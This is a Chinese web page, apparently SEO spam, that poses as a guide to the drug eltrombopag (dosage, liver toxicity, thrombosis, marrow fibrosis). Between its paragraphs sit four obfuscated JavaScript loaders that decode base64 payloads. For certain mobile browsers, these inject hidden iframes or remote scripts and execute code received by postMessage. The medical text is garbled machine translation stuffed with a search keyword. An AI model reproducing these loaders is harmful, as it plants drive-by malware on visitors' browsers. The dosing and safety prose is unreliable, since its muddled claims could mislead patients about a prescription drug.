eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
艾曲波帕片说明书_艾曲波帕多少人成功停药

2021年12月02日 西厂雨化田 阅读(112)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

在每天与许多患者沟通和回答问题的过程中,发现许多人不了解正确使用药物和服用时的禁忌艾曲泊帕。由于药物治疗有许多禁忌和要求艾曲泊帕,因此特别邀请几位使用过该药物的志愿者分享一些药物治疗经验并与您分享。希望能给患者提供参考和帮助。

理解艾曲泊帕

艾曲波帕是一种兴奋剂血小板生成素受体激动剂,适用于治疗慢性免疫(特发性)血小板减少性紫癜和对皮质类固醇免疫球蛋白或脾切除术反应差的患者的血小板减少症。

艾曲波帕仅适用于ITP因血小板减少艾曲波帕片说明书程度和临床情况而增加出血风险的患者。艾曲波帕不应用于意图规范化血小板计数。艾曲波帕预计将被处理再生障碍性贫血。

艾曲泊帕用法和剂量

艾曲波帕的推荐初始剂量为50mg,每天一次;对于中度或重度肝功能障碍患者,建议的初始剂量为25mg,每天饭前一次(饭前1小时或饭后2小时)。

艾曲波帕在艾曲波帕和其他药物、食品或多价阳离子(如铁、钙、铝、镁、硒和锌)添加剂之间允许间隔4小时。

为降低出血风险,调整每日剂量以达到并维持血小板计数≥ 50×109/L

建议每天的最大剂量艾曲波帕不超过75毫克。

如果最大剂量血小板计数后4周中断艾曲波帕未增加;异常重要肝功能试验或血小板计数过度反应也被中断艾曲波帕。

不可忽视的副作用

1、 肝毒性

(1) 艾曲波帕可导致肝脏和胆囊的实验室检查异常,严重的肝毒性和潜在的致命性肝损伤。在接受艾曲波帕治疗的慢性成人ITP受试者的临床研究中,观察到血清丙氨酸氨基转移酶(ALT)、天门冬氨酸氨基转移酶(AST)和间接胆红素升高(见不良反应)。

(2) 在开始艾曲波帕治疗之前,测量血清ALT、AST和胆红素水平。在剂量调整期间,艾曲波帕多少人成功停药,每2周测量一次。达到稳定剂用量后,每月测量一次。艾曲波帕可抑制UDP葡萄糖醛酸基转移酶(UGT)1A1和有机阴离子转运多肽(OATp)1B1,从而导致高间接性胆红素血症。如果胆红素水平升高,应进行胆红素分级试验。3-5天内复查和评估异常血清肝功能。如果确认肝功能异常,监测血清肝功能指标,直到肝功能指标恢复正常、稳定或恢复到基线水平。如果肝功能正常患者的ALT水平增加≥ 3x ULN,或治疗前肝功能增强患者的ALT水平氨基转移酶增加≥ 3 x基线值(或5x ULN,以较低者为准),且出现以下ALT变化时,治疗应终止艾曲波帕:渐进或持续≥ 4周,或直接胆红素升高,或肝功能损害的临床症状或肝功能失代偿的证据。

(3) 肝病患者应谨慎使用艾曲波帕。肝功能受损患者ITP应开始使用较低剂量艾曲波帕进行治疗(见用法和剂量)。

2、 血栓形成/血栓栓塞并发症

(1)血小板计数在正常范围以上时,血栓形成/血栓栓塞在理论上存在并发症的风险。ITP根据在患者中进行的艾曲泊帕乙醇胺临床试验,血小板计数在低及正常情况下也观察到血栓事件。

已知风险因素的患者包括但不限于遗传性(例如因子V Leiden突变和性因素(ATIII缺乏、抗磷脂综合征)、高龄、长期制动、恶性肿瘤、避孕和激素替代治疗、手术/外伤、肥胖、吸烟等。血栓腐蚀?为了降低栓塞事件发生的风险,艾曲波帕多少人成功停药,不能将达到正常血小板计数作为艾曲波帕的给药目标。必须严格遵守剂量调整指南的维护目标血小板计数。密切监视血小板计数,超过目标水平时必须考虑剂量的减少和治疗结束艾曲波帕。

(2)在患者研究中,446例的试验对象中17例(3.8%)报告了21例的血栓形成/血栓栓塞事件TEE。TEE包括栓塞(包括肺栓塞)、深静脉血栓形成、一过性脑缺血发作、心肌梗死、缺血性脑卒中以及伪迁延型可逆缺血性神经功能缺陷。在中国ITP患者的临床研究艾曲泊帕乙醇胺小组中,发生了1例深静脉血栓和1例大脑梗塞,都是被判断与药有关的严重不良事件。

(3)艾曲波帕请不要对肝功能障碍(Child-艾曲波帕片说明书Pugh≥5)的患者使用。除非预期利润比已知的门静脉血栓形成的风险大。评估后,对肝功能障碍患者实施治疗艾曲波帕时,应非常慎重地进行用药。

三、停止艾曲波帕后出血

(1)中止治疗后,多数患者在2周内恢复到血小板计数基线水平,出血的风险增加,可能成为出血的原因。使用抗凝固药和抗血小板药的情况下会停止艾曲波帕,出血风险会增加。

(2)如果中止治疗,建议按照现在的治疗手册重新开始治疗。其他医疗处理可以中止抗凝剂和抗血小板药的治疗,包括对抗冷凝或血小板的支持。

(3)中止治疗后,每周监视一次血小板计数,必须连续观察4周。

四、骨髓网硬蛋白形成和骨髓纤维化风险

(1)艾曲波帕骨髓中网硬蛋白纤维形成和发展的风险有增加的可能性。该风险与艾曲波帕相关,与其他血小板生成素TPO受体兴奋剂同样,还没有确定。

(2) 在开始艾曲波帕治疗之前,应仔细检查外周血涂片,以确定异常细胞形态的基线水平。确定艾曲波帕治疗用稳定剂的用量后,每月重新检查全血细胞计数、白细胞计数和白细胞分类一次。如果发现未成熟或发育异常的细胞,应随时复查外周血涂片,查看是否有新的形态异常(例如,泪滴状红细胞和有核红细胞,未成熟白细胞)或细胞减少,以及原始形态异常是否加重。如果患者出现新的形态学异常或细胞减少,或原有的形态学异常变得更严重,则应停止治疗艾曲波帕,并可考虑骨髓活检,包括染色。

5、 恶性肿瘤和恶性肿瘤进度

(1) TPO-R激动剂是促进血小板生成祖细胞的扩增和分化并促进血小板生成的生长因子。TPO-R主要表达于髓样细胞表面。TPO-R激动剂可刺激MDS等现有造血系统恶性肿瘤的进展。在ITP(n=493)名成年患者中进行的临床试验表明,艾曲波帕多少人成功停药,安慰剂组和艾曲泊帕乙醇胺组之间恶性肿瘤或血液恶性肿瘤的发生率没有差异。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}